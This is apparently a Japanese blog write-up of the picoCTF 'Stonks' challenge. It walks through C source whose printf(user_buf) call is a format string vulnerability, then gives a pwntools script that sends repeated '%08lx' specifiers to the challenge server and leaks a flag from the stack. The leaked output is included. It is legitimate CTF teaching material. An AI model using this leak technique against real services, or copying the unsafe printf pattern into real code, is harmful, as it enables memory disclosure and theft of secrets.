0
0

[WriteUp]Stonks - picoCTF

Posted at

はじめに

こちらの記事はpicoCTFのStonksのWriteUp記事になります。

1.問題について

この問題では以下のソースコードが配布され、mercury.picoctf.netの16439ポートにアクセスすると配布されたソースコードで動いているプロセスと入出力が繋がります。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

2.方針

ソースコードを眺めると、なにやらbuy_stonks関数の中で、flagの入ったファイルを読み込むだけapi_bufに読み込んでいることがわかります。

    char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

また、そのあとの部分でFSBの脆弱性があることがわかります。
FSBについては以下の記事を参照してください。
https://qiita.com/hachan0179/items/ff6053039353dbf53d8f

    char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf); // <- そのまま引数として渡してしまっている

なので、スタックがおそらく以下のようになっていることを考えると、

下位
 +-------------+ <= rsp
 |             |
 +-------------+
〜〜〜〜〜〜〜〜〜〜〜
 +-------------+
 |  *user_buf  | 
 +-------------+
〜〜〜〜〜〜〜〜〜〜〜
 +-------------+
 |   api_buf   | 
 +-------------+ 
〜〜〜〜〜〜〜〜〜〜〜
上位

user_bufの入力にフォーマット指定子を入れることで、api_bufに格納されているflagを出力させることができそうです。

3.実際に書いたコード

pythonのpwntoolを使用しスクリプトを書きました。問題のプログラムは試してみると32bitで動いていそうだったので使うフォーマット指定子は%08lxにしています。

import pwn

HOST='mercury.picoctf.net'
PORT=16439

def exploit():
    io = pwn.remote(host=HOST,port=PORT)

    recv = io.recvrepeat(1)
    payload = b'1\n'
    io.send(payload)
    recv = io.recvrepeat(1)

    payload = pwn.flat(
        b'%08lx|' * 30,
        b'\n'
    )
    io.send(payload)

    recv = io.recvrepeat(1)
    print(f'recv = {recv}')
    
if(__name__=='__main__'):
    exploit()

4.実行結果

実行してみると以下の出力が得られました。

[+] Opening connection to mercury.picoctf.net on port 16439: Done
recv = b'Buying stonks with token:\n09f813b0|0804b000|080489c3|f7eddd80|ffffffff|00000001|09f7f160|f7eeb110|f7edddc7|00000000|09f80180|00000006|09f81390|09f813b0|6f636970|7b465443|306c5f49|345f7435|6d5f6c6c|306d5f79|5f79336e|62633763|65616336|ff81007d|f7f18af8|f7eeb440|c1341d00|00000001|00000000|f7d7ace9|\nPortfolio as of Thu Apr  4 08:46:53 UTC 2024\n\n\n6 shares of LUM\n1 shares of PHD\n4 shares of Y\n163 shares of IN\n1522 shares of TIHQ\n204 shares of QS\nGoodbye!\n'
[*] Closed connection to mercury.picoctf.net port 16439

得られた出力をよく見てみると途中何やら文字列らしき場所が発見できます。具体的には、0x61から0x7aは英小文字で、0x7bが '{' で、0x7dが '}' です。この部分をリトルエンディアンであることに注意して読むとflagが手に入りました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0